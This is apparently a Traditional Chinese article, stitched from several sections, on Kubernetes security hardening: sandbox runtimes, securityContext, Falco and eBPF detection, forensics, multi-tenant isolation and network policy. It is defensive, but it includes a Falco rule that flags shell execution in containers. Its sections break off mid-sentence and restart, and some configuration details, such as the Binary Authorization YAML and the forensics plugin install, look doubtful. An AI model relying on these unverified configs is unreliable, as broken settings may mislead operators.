這個 Pod 定義展示瞭如何使用沙箱執行時來執行不受信任的工作負載。runtimeClassName: gvisor 指定使用 gVisor 作為容器執行時,它會在容器和主機核心之間提供一個使用者空間核心層,攔截和處理系統呼叫。註解 io.kubernetes.cri.untrusted-workload: "true" 進一步標記此工作負載為不受信任,這在某些環境中可能觸發額外的安全控制。使用沙箱執行時特別適合執行第三方程式碼、開放原始碼應用或可能包含漏洞的遺留應用。沙箱提供的額外隔離層可以防止即使存在容器逃逸漏洞,攻擊者也難以直接存取主機核心,從而顯著提高安全性。不過需要注意,沙箱執行時通常會帶來一定的效能開銷,應根據安全需求和效能要求進行權衡。

  1. 監控與入侵檢測:佈署容器專用的入侵檢測系統,如 Falco,以檢測可疑活動:
# Falco 規則範例:檢測容器內的 shell 執行
- rule: Terminal shell in container
  desc: A shell was spawned in a container
  condition: container.id != host and proc.name = bash
  output: "Shell executed in container (user=%user.name container=%container.name)"
  priority: WARNING

這個 Falco 規則範例用於檢測容器內的 shell 執行活動,這通常是攻擊者在成功入侵容器後的常見行為。規則的 condition 部分定義了觸發條件:當程式名為 bash 與執行在容器(而非主機)中時觸發警示。output 欄位定義了警示訊息的格式,包含使用者名和容器名等關鍵訊息。priority 設為 WARNING,表示這是一個值得注意但不一定是確定攻擊的事件。實時監控和入侵檢測是防禦策略的關鍵組成部分,因為它們能夠在攻擊利用成功時提供及時警示,即使預防措施失效。在生產環境中,應建立完整的監控策略,包括容器行為基線、異常檢測和自動回應機制,形成完整的安全閉環。

使用者名稱空間漏洞與 rootless 容器

使用者名稱空間(User Namespace)是 Linux 核心提供的一種隔離機制,允許在容器內對映使用者 ID,使容器內的 root 使用者對應到主機上的非特權使用者。然而,這種機制也存在潛在漏洞。

rootless 容器試圖解決這一問題,它允許非特權使用者執行容器,而無需主機上的 root 許可權。這種方法可以減輕容器逃逸的影響,因為即使攻擊者逃出容器,也只能獲得有限的許可權。

# 設定並執行 rootless 容器
# 1. 安裝所需工具
apt-get install -y uidmap

# 2. 設定使用者名稱空間
echo 'user.max_user_namespaces=15000' > /etc/sysctl.d/userns.conf
sysctl -p /etc/sysctl.d/userns.conf

# 3. 以非 root 使用者執行 Docker
dockerd-rootless-setuptool.sh install

這組命令展示了設定 rootless 容器環境的基本步驟。首先安裝 uidmap 工具,它用於管理使用者 ID 對映。然後設定系統允許足夠數量的使用者名稱空間,這是 rootless 容器執行的必要條件。最後,使用專用工具設定 rootless 模式的 Docker 守護程式。在 rootless 模式下,Docker 守護程式和容器都在非特權使用者的上下文中執行,大大降低了安全風險。即使存在容器逃逸漏洞,攻擊者也僅能獲得執行容器的使用者許可權,而非主機的 root 許可權。這種方法特別適合開發環境和安全性要求較高的生產環境。不過,rootless 容器也有一些功能限制,如網路設定更複雜、某些需要特權的功能無法使用等,需要在實施前進行評估。

Pod 安全與 securityContext

securityContext 的正確使用

securityContext 是 Kubernetes 中設定 Pod 和容器安全設定的主要機制。它可以在 Pod 和容器兩個級別進行設定,提供了豐富的安全選項。

以下是一個全面強化的 securityContext 設定範例:

apiVersion: v1
kind: Pod
metadata:
  name: security-hardened-pod
spec:
  # Pod 級別的 securityContext
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
    supplementalGroups: [1000, 3000]
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: security-hardened-container
    image: nginx:latest
    # 容器級別的 securityContext
    securityContext:
      allowPrivilegeEscalation: false
      privileged: false
      procMount: Default
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
        add: ["NET_BIND_SERVICE"]

這個 Pod 定義展示了全面的 securityContext 安全強化設定。在 Pod 級別,runAsNonRoot: true 確保容器不以 root 使用者執行;runAsUserrunAsGroupfsGroupsupplementalGroups 精確指定了容器程式和掛載卷的使用者和組 ID;seccompProfile 啟用了預設的 seccomp 設定檔,限制可用的系統呼叫。

在容器級別,allowPrivilegeEscalation: false 防止程式獲得更高許可權;privileged: false 確保容器不在特權模式下執行;procMount: Default 使用預設的 /proc 掛載方式;readOnlyRootFilesystem: true 使根檔案系統只讀,防止修改系統檔案。最後,透過 capabilities 設定,首先移除所有 Linux 能力,然後只增加 NET_BIND_SERVICE 能力,允許容器繫結低連線埠(如 80 和 443)而無需 root 許可權。

這種設定遵循最小許可權原則,僅授予容器正常執行所需的最小許可權集,顯著降低了潛在攻擊的影響範圍。在實際佈署中,應根據應用的具體需求調整這些設定,找到安全性和功能性之間的平衡點。

CPU 和記憶體限制的安全意義

資源限制不僅關乎資源管理,也是重要的安全控制。未設定適當資源限制的容器可能被用於 DoS 攻擊或加密貨幣挖礦等惡意活動。

apiVersion: v1
kind: Pod
metadata:
  name: resource-limited-pod
spec:
  containers:
  - name: app
    image: myapp:latest
    resources:
      requests:
        memory: "64Mi"
        cpu: "250m"
      limits:
        memory: "128Mi"
        cpu: "500m"

這個 Pod 定義展示了資源限制的設定。requests 部分定義了容器需要保證獲得的最小資源量:64MiB 記憶體和 0.25 CPU 核心。limits 部分定義了容器可以使用的最大資源量:128MiB 記憶體和 0.5 CPU 核心。

從安全形度看,這些限制有多重作用:首先,它們防止單個容器消耗過多資源導致節點不穩定或其他容器無法正常執行(防止 DoS);其次,它們限制了惡意工作負載(如加密貨幣挖礦)的影響範圍;最後,它們有助於及早發現資源洩漏或效能問題,因為超出限制的容器會被終止或限流。

在設定資源限制時,應平衡安全性和應用需求,避免設定過於嚴格的限制導致合法應用不穩定,同時也不能設定過於寬鬆的限制而失去安全保護作用。最佳實踐是透過監控應用的實際資源使用情況,逐步調整和最佳化這些設定。

容器網路安全與隔離

Pod 內網路

在 Kubernetes 中,同一 Pod 內的容器分享相同的網路名稱空間,

Kubernetes 安全的核心挑戰與防禦策略

在雲原生時代,Kubernetes 已成為容器協調的標準,但其複雜的架構也帶來了獨特的安全挑戰。我在多年研究 Kubernetes 安全的過程中發現,許多組織在佈署容器化應用時往往忽略了關鍵的安全考量,導致潛在的攻擊面大幅增加。

本文將探討 Kubernetes 安全的關鍵領域,從容器隔離機制到多租戶環境保護,為你提供全面的安全防禦策略。

容器安全的基礎:理解 /proc/self/exe CVE 漏洞

容器技術雖然提供了輕量級的應用隔離,但並非完美的安全邊界。特別是 /proc/self/exe 相關的 CVE 漏洞,已成為容器逃逸攻擊的常見途徑。

這類別漏洞的危險之處在於攻擊者可以利用 /proc/self/exe 路徑執行特權提升,進而突破容器邊界。實際上,這反映了 Linux 核心與容器技術之間的根本性摩擦 - 容器本質上只是分享核心的隔離程式,而非完全隔離的虛擬環境。

防禦策略:強化容器儲存與掛載安全

為了減輕這類別漏洞的風險,我建議採取以下措施:

# Pod 安全強化設定範例
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:1.0
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
    volumeMounts:
    - mountPath: /tmp
      name: tmp-volume
  volumes:
  - name: tmp-volume
    emptyDir: {}

這個 Pod 設定實作了多層防禦機制:

  1. runAsNonRoot: true 確保容器以非 root 使用者執行,減少特權提升風險
  2. seccompProfile.type: RuntimeDefault 啟用預設的 seccomp 設定檔,限制可用的系統呼叫
  3. allowPrivilegeEscalation: false 阻止容器程式取得比父程式更高的許可權
  4. readOnlyRootFilesystem: true 將根檔案系統設為唯讀,防止修改系統檔案
  5. 使用 emptyDir 為需要寫入的目錄(如 /tmp)提供隔離的臨時儲存空間

這種設定大幅降低了容器逃逸攻擊的成功機率,同時保持了應用的正常功能。

沙箱技術:超越傳統容器隔離

當標準容器隔離不足以滿足安全需求時,沙箱技術提供了更強大的防護層。目前主流的容器沙箱技術包括 Firecracker、gVisor 和 Kata Containers,每種技術都有其獨特的安全特性和效能權衡。

Firecracker:微型虛擬機器的安全優勢

Firecracker 由 AWS 開發,最初用於其 Lambda 服務,提供了虛擬機器級別的隔離但啟動速度接近容器。其核心是一個精簡的 VMM(虛擬機器監視器),專為無伺服器工作負載最佳化。

# 啟動 Firecracker 微型虛擬機器的基本流程
firecracker --api-sock /tmp/firecracker.socket &

# 設定虛擬機器
curl --unix-socket /tmp/firecracker.socket -i \
  -X PUT 'http://localhost/boot-source' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "kernel_image_path": "/path/to/kernel",
    "boot_args": "console=ttyS0 reboot=k panic=1 pci=off"
  }'

# 設定根檔案系統
curl --unix-socket /tmp/firecracker.socket -i \
  -X PUT 'http://localhost/drives/rootfs' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "drive_id": "rootfs",
    "path_on_host": "/path/to/rootfs.ext4",
    "is_root_device": true,
    "is_read_only": false
  }'

# 啟動虛擬機器
curl --unix-socket /tmp/firecracker.socket -i \
  -X PUT 'http://localhost/actions' \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "action_type": "InstanceStart"
  }'

這段命令展示了 Firecracker 的基本操作流程:

  1. 首先啟動 Firecracker 守護程式,並指定 API socket 位置
  2. 透過 HTTP API 設定虛擬機器的核心映像和啟動引數
  3. 設定根檔案系統,指定宿主機上的映像檔案路徑
  4. 最後傳送啟動指令,建立並啟動微型虛擬機器

Firecracker 的安全優勢在於它實作了真正的核心級隔離,每個工作負載都在獨立的核心例項中執行,有效阻止了容器逃逸攻擊。同時,其最小化的攻擊面(僅約 50K 行程式碼)大幅降低了漏洞風險。

gVisor:使用者空間核心的創新

gVisor 採用了不同的方法,它在使用者空間實作了一個核心介面層,攔截並處理容器的系統呼叫。這種設計為容器提供了額外的隔離層,而無需完整的虛擬機器開銷。

# 使用 gVisor 執行容器
docker run --runtime=runsc -it ubuntu:latest bash

# 或在 Kubernetes 中使用 gVisor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
---
apiVersion: v1
kind: Pod
metadata:
  name: gvisor-protected-pod
spec:
  runtimeClassName: gvisor
  containers:
  - name: nginx
    image: nginx:latest

這個例子展示了 gVisor 的兩種使用方式:

  1. 在 Docker 中,透過指定 --runtime=runsc 引數使容器使用 gVisor 的 runsc 執行時
  2. 在 Kubernetes 中,先定義 RuntimeClass 資源指定 gVisor 處理器,然後在 Pod 規格中參照該 RuntimeClass

gVisor 的核心元件 Sentry 攔截容器的系統呼叫,並在使用者空間實作這些呼叫。這種架構提供了比標準容器更強的隔離,同時保持了較低的資源開銷。不過,由於需要在使用者空間模擬系統呼叫,gVisor 會引入一定的效能損失,與並非所有系統呼叫都得到完全支援。

Kata Containers:虛擬機器與容器的混合體

Kata Containers 結合了虛擬機器的安全隔離和容器的敏捷性,為每個容器或 Pod 提供輕量級虛擬機器。

# 在 Kubernetes 中使用 Kata Containers
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata
handler: kata
---
apiVersion: v1
kind: Pod
metadata:
  name: kata-protected-pod
spec:
  runtimeClassName: kata
  containers:
  - name: sensitive-workload
    image: myapp:1.0

這個設定在 Kubernetes 中啟用 Kata Containers:

  1. 定義名為 kata 的 RuntimeClass,指定使用 kata 處理器
  2. 在 Pod 規格中透過 runtimeClassName: kata 選擇使用 Kata Containers

Kata Containers 為每個容器或 Pod 建立一個輕量級虛擬機器,提供硬體級別的隔離。這種方法特別適合執行不受信任的工作負載或多租戶環境中的敏感應用。

入侵偵測系統:容器環境中的安全監控

傳統的入侵偵測系統(IDS)在容器環境中面臨獨特挑戰,需要適應容器的短暫性和動態特性。

傳統 IDS 與容器環境的差異

傳統的主機型入侵偵測系統(HIDS)通常依賴於監控檔案系統變化、網路連線和系統呼叫模式。然而,容器的短暫性和不可變性使這些方法需要調整。

在容器環境中,IDS 需要關注:

  1. 容器映像的完整性和來源
  2. 執行時行為異常,如意外的系統呼叫或網路連線
  3. 許可權提升嘗試和容器逃逸行為
  4. 跨容器和跨節點的異常通訊模式

eBPF 技術:現代容器 IDS 的根本

eBPF(擴充套件的伯克利封包過濾器)已成為容器安全監控的關鍵技術,它允許安全地在核心中執行沙箱程式,提供對系統呼叫、網路流量和其他核心事件的深度可見性。

以下是一個使用 eBPF 監控容器系統呼叫的簡化範例:

// eBPF 程式範例:監控容器中的 execve 系統呼叫
#include <linux/bpf.h>
#include <linux/ptrace.h>

BPF_PERF_OUTPUT(events);

struct event_t {
    u32 pid;
    char comm[16];
    char filename[256];
};

int trace_execve(struct pt_regs *ctx) {
    struct event_t event = {};
    
    event.pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    
    // 取得 filename 引數
    bpf_probe_read(&event.filename, sizeof(event.filename), 
                   (void *)PT_REGS_PARM1(ctx));
    
    events.perf_submit(ctx, &event, sizeof(event));
    return 0;
}

這個 eBPF 程式:

  1. 定義了一個輸出通道 events 和一個事件結構 event_t
  2. trace_execve 函式會在 execve 系統呼叫時被觸發
  3. 收集程式 ID、程式名稱和被執行的檔案名稱
  4. 將收集到的訊息傳送到使用者空間進行分析

eBPF 的優勢在於它能夠安全地監控核心級事件,同時幾乎不影響系統效能。這使它成為容器環境中理想的安全監控工具。

Falco:專為雲原生環境設計的 IDS

Falco 是一個開放原始碼的雲原生執行時安全專案,利用 eBPF 技術監控容器行為並檢測異常。

# Falco 規則範例:檢測特權容器建立
- rule: Launch Privileged Container
  desc: Detect the launch of a privileged container
  condition: >
    container and container.privileged=true and
    not container.image.repository in (trusted_privileged_containers)
  output: >
    Privileged container started (user=%user.name user_uid=%user.uid
    container_id=%container.id container_name=%container.name
    image=%container.image.repository:%container.image.tag)
  priority: WARNING
  tags: [container, cis, mitre_privilege_escalation]

這條 Falco 規則:

  1. 監控特權容器的啟動事件
  2. 條件部分檢查容器是否以特權模式執行,並且不在受信任清單中
  3. 當條件比對時,生成包含使用者、容器和映像詳情的警示
  4. 將警示分類別為 “WARNING” 優先順序,並標記相關的安全框架標籤

Falco 內建了豐富的規則集,涵蓋常見的容器安全威脅,包括特權升級、敏感檔案存取和可疑網路活動。它可以與 Kubernetes 深度整合,提供叢集級別的安全監控。

機器學習在容器 IDS 中的應用

隨著容器環境規模和複雜性的增長,根據機器學習的 IDS 方法變得越來越重要。這些系統能夠學習正常的容器行為模式,並檢測偏離這些模式的異常活動。

機器學習 IDS 通常關注以下維度:

  1. 系統呼叫序列和頻率
  2. 網路流量模式和連線特徵
  3. 資源使用模式(CPU、記憶體、I/O)
  4. 容器生命週期事件和設定變化

這種方法的優勢在於能夠檢測未知或零日攻擊,而不僅僅依賴已知的攻擊簽名。

容器取證:事件回應的關鍵

當安全事件發生時,容器環境的取證分析面臨獨特挑戰。容器的短暫性和不可變特性使傳統取證方法難以應用。

容器取證的基本原則

在容器環境中進行取證時,需要考慮以下關鍵原則:

  1. 速度至關重要:容器可能隨時被刪除或替換,證據收集必須迅速進行
  2. 保留揮發性資料:記憶體轉儲和執行時狀態通常比磁碟映像更重要
  3. 上下文關聯:需要收集容器、Pod、節點和叢集級別的上下文訊息
  4. 不可變證據鏈:確保收集的證據完整與未被篡改

實用的容器取證工具與技術

以下是一個使用 kube-forensics 工具收集容器證據的範例:

# 安裝 kube-forensics
kubectl krew install forensics

# 對特定 Pod 進行取證分析
kubectl forensics pod mypod -n myns

# 檢查生成的取證 Pod 狀態
kubectl get pods -n myns | grep forensic

# 取得取證結果
kubectl cp myns/forensic-mypod-xxxx:/forensic-data /local/evidence/path

這個命令序列展示了使用 kube-forensics 的基本工作流程:

  1. 首先透過 kubectl krew 外掛管理器安裝 forensics 外掛
  2. 對目標 Pod 發起取證請求,這會建立一個特殊的取證 Pod
  3. 監控取證 Pod 的狀態,等待完成
  4. 最後將收集到的取證資料複製到本地進行分析

kube-forensics 會自動收集容器的記憶體轉儲、程式列表、網路連線、檔案系統狀態等關鍵證據,這些資料對於理解攻擊路徑和影響範圍至關重要。

蜜罐技術在容器安全中的應用

蜜罐是主動防禦策略的重要組成部分,可以幫助早期檢測攻擊並收集攻擊者的戰術情報。在容器環境中佈署蜜罐有幾種方法:

# Kubernetes 蜜罐 Pod 範例
apiVersion: v1
kind: Pod
metadata:
  name: honeypot
  labels:
    role: honeypot
spec:
  containers:
  - name: honeypot
    image: honeypot:latest
    ports:
    - containerPort: 22
    - containerPort: 80
    - containerPort: 443
    securityContext:
      readOnlyRootFilesystem: false  # 故意允許寫入
    volumeMounts:
    - name: honeypot-data
      mountPath: /data
  volumes:
  - name: honeypot-data
    emptyDir: {}

這個蜜罐 Pod 設定:

  1. 暴露常見的目標連線埠(SSH、HTTP、HTTPS)
  2. 故意設定寬鬆的安全上下文,如允許寫入根檔案系統
  3. 提供可寫入的卷,以誘使攻擊者留下痕跡
  4. 透過標籤明確標識為蜜罐,便於在日誌分析時識別

蜜罐容器通常會模擬常見服務,但內部包含監控程式碼,記錄所有互動。當攻擊者嘗試利用蜜罐時,其活動會被詳細記錄,提供有關攻擊技術和目標的寶貴情報。

多租戶環境中的 Kubernetes 安全

多租戶 Kubernetes 叢集面臨獨特的安全挑戰,需要在分享基礎設施上安全地隔離不同租戶的工作負載。

軟多租戶 vs 硬多租戶

在設計多租戶 Kubernetes 環境時,需要在軟多租戶和硬多租戶之間做出選擇:

  1. 軟多租戶:主要依靠名稱空間、RBAC 和網路策略進行邏輯隔離
  2. 硬多租戶:為不同租戶提供物理隔離,通常透過專用節點池或叢集實作

我的經驗是,除非租戶間完全互信,否則應該優先考慮硬多租戶架構,特別是在處理敏感資料或遵循嚴格合規要求的場景。

控制平面與資料平面的安全隔離

多租戶環境中的安全隔離需要同時考慮控制平面和資料平面:

控制平面隔離策略

控制平面隔離主要透過以下機制實作:

# 名稱空間資源配額範例
apiVersion: v1
kind: ResourceQuota
metadata:
  name: tenant-quota
  namespace: tenant-a
spec:
  hard:
    requests.cpu: "10"
    requests.memory: 20Gi
    limits.cpu: "20"
    limits.memory: 40Gi
    pods: "50"
    services: "20"
    secrets: "100"
    configmaps: "100"

這個資源配額設定:

  1. 限制租戶名稱空間可以使用的 CPU 和記憶體資源總量
  2. 限制可以建立的 Pod、服務、金鑰和設定對映數量
  3. 防止單一租戶消耗過多叢集資源,保護其他租戶不受影響

除了資源配額外,控制平面隔離還應包括:

  • 嚴格的 RBAC 策略,限制每個租戶只能存取自己的名稱空間
  • 使用准入控制器(如 OPA Gatekeeper)強制執行租戶間的隔離策略
  • 資源標籤和管理欄位保護,防止跨租戶資源操作

資料平面隔離策略

資料平面隔離涉及網路、儲存和計算資源的分離:

# 網路策略範例:隔離租戶網路
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: tenant-isolation
  namespace: tenant-a
spec:
  podSelector: {}  # 適用於名稱空間中的所有 Pod
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          tenant: tenant-a
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          tenant: tenant-a
  - to:
    - namespaceSelector:
        matchLabels:
          common-services: "true"

這個網路策略:

  1. 限制 tenant-a 名稱空間中的 Pod 只能接收來自同一租戶名稱空間的入站流量
  2. 限制出站流量只能傳送到同一租戶名稱空間或標記為分享服務的名稱空間
  3. 有效防止跨租戶的未授權網路存取

完整的資料平面隔離還應包括:

  • 節點池隔離:不同租戶的工作負載排程到不同的物理節點
  • 儲存隔離:確儲儲存卷和持久化資料不會在租戶間分享
  • 資源限制:強制執行 CPU 和記憶體限制,防止資源爭用

沙箱技術與策略的結合應用

在多租戶環境中,將沙箱技術與強制策略結合使用可以提供最強大的安全保障。

# 結合 Kata Containers 和 OPA Gatekeeper 的多租戶保護
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredRuntimeClass
metadata:
  name: require-kata-for-untrusted
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]
    namespaces:
      - "untrusted-tenant-a"
      - "untrusted-tenant-b"
  parameters:
    requiredRuntimeClassName: "kata"

這個 OPA Gatekeeper 約束:

  1. 針對標記為不受信任的租戶名稱空間
  2. 要求這些名稱空間中的所有 Pod 必須使用 Kata Containers 執行時
  3. 如果 Pod 沒有指定正確的 runtimeClassName,將被拒絕建立

這種方法確保不受信任的工作負載自動獲得更強的隔離保護,同時仍允許受信任的工作負載使用標準容器執行時,實作了安全性和效能的平衡。

公有雲多租戶環境的特殊考量

公有雲環境中的 Kubernetes 多租戶面臨額外的安全挑戰和考量。

雲提供商的安全界限與責任

在公有雲中,安全責任是分享的:雲提供商負責基礎設施安全,而客戶負責應用和資料安全。理解這種責任分工對於構建全面的安全策略至關重要。

主要雲提供商提供了專門的安全服務,可以增強 Kubernetes 環境的安全性:

  • AWS:提供 EKS 增強安全功能,如 IAM 角色服務賬戶、Nitro 安全隔離和 GuardDuty 威脅檢測
  • GCP:提供 GKE 安全功能,如二進位授權、Shielded GKE 節點和 Security Command Center
  • Azure:提供 AKS 安全功能,如 Azure Policy 整合、Azure Defender 和保密計算節點

避免憑證洩露的最佳實踐

雲環境中的憑證管理尤為重要,因為憑證洩露可能導致雲資源被未授權存取。

# 使用 Kubernetes 服務賬戶與雲 IAM 的安全整合
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-service-account
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: "arn:aws:iam::123456789012:role/app-role"
---
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
  namespace: production
spec:
  serviceAccountName: app-service-account
  containers:
  - name: app
    image: myapp:1.0

這個設定展示了 AWS EKS 的 IAM 角色服務賬戶(IRSA)整合:

  1. 建立一個服務賬戶並透過註解關聯到特定的 AWS IAM 角色
  2. Pod 使用該服務賬戶,從而獲得臨時、有限範圍的 AWS 憑證
  3. 應用可以使用這些憑證安全地存取 AWS 服務,無需硬編碼或手動管理長期憑證

這種方法遵循最小許可權原則,大幅降低了憑證洩露的風險和潛在影響。

GCP 二進位授權:確保容器映像安全

Google Cloud 的二進位授權功能提供了強大的容器映像驗證機制,確保只有經過授權的映像才能在叢集中執行。

# GCP 二進位授權策略範例
apiVersion: binaryauthorization.k8s.io/v1
kind: Policy
metadata:
  name: default
spec:
  defaultAdmissionRule:
    evaluationMode: REQUIRE_ATTESTATION
    enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
    requireAttestationsBy:
    - projects/project-id/attestors/secure-build
  clusterAdmissionRules:
    us-central1.prod-cluster:
      evaluationMode: REQUIRE_ATTESTATION
      enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
      requireAttestationsBy:
      - projects/project-id/attestors/secure-build
      - projects/project-id/attestors/security-scan
  exemptableNamespaces:
  - kube-system

這個二進位授權策略:

  1. 設定預設規則,要求所有容器映像必須有 “secure-build” 證明
  2. 為生產叢集設定更嚴格的規則,要求同時具有構建和安全掃描證明
  3. 豁免 kube-system 名稱空間,允許系統元件正常執行
  4. 設定強制執行模式,阻止不符合要求的映像並記錄稽核日誌

二進位授權確保了映像從構建到佈署的完整性和安全性,是供應鏈安全的關鍵組成部分。

開放策略代理(OPA)與策略管理

策略即程式碼已成為現代 Kubernetes 安全的核心理念,而開放策略代理(OPA)是實作這一理念的主要工具。

OPA 直接使用與 Gatekeeper 整合

OPA 可以直接使用或透過

Kubernetes 安全架構:名稱空間與資源隔離的關鍵設計

在容器化應用程式的世界中,安全性往往被低估或過於簡化。透過多年來參與大型 Kubernetes 叢集的安全設計與稽核,我深刻理解隔離與資源控制對於建立健全安全架構的重要性。名稱空間(Namespace)作為 Kubernetes 資源隔離的基本單位,成為構建多租戶環境的核心要素,但若沒有適當的設定,這種隔離可能僅是表面上的。

名稱空間:虛擬邊界的重要性

名稱空間在 Kubernetes 中扮演著關鍵角色,它提供了一種邏輯隔離機制,使不同團隊或應用能夠分享同一個叢集,同時保持各自的獨立性。然而,這種隔離並非天生完美。

在預設情況下,Kubernetes 名稱空間僅提供資源的邏輯分組,而非完全的安全隔離。這意味著若沒有額外的安全措施,一個名稱空間中的工作負載可能會影響到其他名稱空間。

名稱空間資源的特性

名稱空間資源具有以下關鍵特性:

  1. 資源隔離:每個名稱空間都有自己的資源配額和限制
  2. 存取控制:RBAC 政策可以繫結到特定名稱空間
  3. 網路可見性:預設情況下,跨名稱空間的網路流量是允許的
  4. 服務發現:同一叢集內的服務可以跨名稱空間發現

然而,這些特性同時也帶來了安全挑戰。例如,當我在稽核一個金融機構的 Kubernetes 環境時,發現雖然他們使用了名稱空間來區分生產和測試環境,但由於缺乏網路政策,測試環境的 Pod 可以直接存取生產資料函式庫,形成了嚴重的安全風險。

軟多租戶:平衡靈活性與安全性

在 Kubernetes 中實作多租戶環境時,我們通常會談到「軟多租戶」(Soft Multitenancy)和「硬多租戶」(Hard Multitenancy)兩種模式。軟多租戶是一種更為常見的方法,它利用 Kubernetes 的名稱空間、資源配額和網路政策來建立邏輯隔離的環境。

軟多租戶的實作策略

軟多租戶環境通常包含以下元素:

  1. 名稱空間隔離:為每個租戶建立專用的名稱空間
  2. 資源配額:限制每個租戶可以使用的資源數量
  3. 網路政策:控制租戶間的網路通訊
  4. RBAC 限制:確保租戶只能存取自己的資源

以下是一個基本的資源配額設定範例:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: tenant-quota
  namespace: tenant-a
spec:
  hard:
    pods: "20"
    requests.cpu: "4"
    requests.memory: 8Gi
    limits.cpu: "8"
    limits.memory: 16Gi

這個 ResourceQuota 設定為名為 tenant-a 的名稱空間設定了資源限制。它限制了該名稱空間中可以建立的 Pod 數量不超過 20 個,CPU 請求總量不超過 4 核,記憶體請求總量不超過 8Gi,CPU 限制總量不超過 8 核,記憶體限制總量不超過 16Gi。這種設定可以防止單一租戶消耗過多的叢集資源,確保資源的公平分配。

網路分享與安全挑戰

在軟多租戶環境中,網路是最容易被忽視的安全層面。預設情況下,Kubernetes 允許所有 Pod 之間的通訊,這可能導致租戶間的網路邊界模糊。

我曾遇到一個案例,某公司的開發和測試環境分享同一個 Kubernetes 叢集,但由於缺乏網路隔離,開發環境的一個故障應用程式開始向測試資料函式庫傳送大量請求,導致測試環境當機。這凸顯了實施網路政策的重要性。

實施網路政策保障租戶隔離

網路政策(NetworkPolicy)是 Kubernetes 中實作網路隔離的關鍵工具。以下是一個基本的網路政策範例,用於限制名稱空間間的通訊:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-cross-ns-traffic
  namespace: tenant-a
spec:
  podSelector: {}  # 應用於所有 Pod
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: tenant-a

這個網路政策應用於 tenant-a 名稱空間中的所有 Pod,並且只允許來自同一名稱空間的入站流量。空的 podSelector {} 表示選擇名稱空間中的所有 Pod。在 ingress 規則中,namespaceSelector 確保只有來自標籤為 kubernetes.io/metadata.name: tenant-a 的名稱空間的流量才被允許,這實際上就是同一個名稱空間。這種設定有效地阻止了來自其他名稱空間的所有流量,建立了一個網路隔離的環境。

網路攻擊面分析與防禦

Kubernetes 的網路攻擊面是多層次的,從叢集外部流量到 Pod 間通訊,每一層都需要特定的安全措施。

網路層次與攻擊向量

Kubernetes 網路可以分為以下幾個層次:

  1. 叢集外部流量:透過 Ingress 或 LoadBalancer 服務進入叢集
  2. Pod 間流量:叢集內部不同 Pod 之間的通訊
  3. Pod 到節點流量:Pod 與其所在節點之間的通訊
  4. Pod 內部流量:同一 Pod 內不同容器之間的通訊

每一層都有其特定的攻擊向量和防禦策略。例如,在 Pod 間流量層面,如果沒有適當的網路政策,攻擊者可以利用一個受損的 Pod 來橫向移動到其他 Pod。

叢集外部流量安全控制

控制進入叢集的外部流量是防禦的第一道防線。這通常透過 Ingress 控制器和服務網格來實作。

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: secure-ingress
  annotations:
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"
spec:
  tls:
  - hosts:
    - secure-app.example.com
    secretName: tls-secret
  rules:
  - host: secure-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: secure-service
            port:
              number: 443

這個 Ingress 設定設定了一個安全的入口點,用於將外部流量路由到叢集內的服務。它強制使用 HTTPS(透過 ssl-redirect: "true" 註解),並且設定了 TLS 終止(透過 tls 部分)。此設定還指定了後端服務也應該使用 HTTPS(透過 backend-protocol: "HTTPS" 註解)。這樣,從客戶端到 Ingress 控制器,以及從 Ingress 控制器到後端服務的所有通訊都是加密的,大大提高了安全性。

Pod 間流量控制與網路政策

網路政策是控制 Pod 間流量的主要工具。一個設計良好的網路政策應該遵循「最小許可權原則」,只允許必要的通訊。

當我設計大型微服務架構的安全策略時,通常會採用「零信任」方法,預設拒絕所有流量,然後逐步增加必要的允許規則。這種方法雖然初期設定複雜,但能顯著降低橫向移動的風險。

以下是一個更複雜的網路政策範例,它實作了微服務間的精細化通訊控制:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-service-policy
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: api-service
  policyTypes:
  - Ingress
  - Egress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          environment: production
      podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          environment: production
      podSelector:
        matchLabels:
          app: database
    ports:
    - protocol: TCP
      port: 5432

這個網路政策應用於生產名稱空間中標記為 app: api-service 的所有 Pod。它同時控制了入站(ingress)和出站(egress)流量:

  • 入站規則:只允許來自同樣在生產環境與標記為 app: frontend 的 Pod 透過 TCP 8080 連線埠存取 API 服務
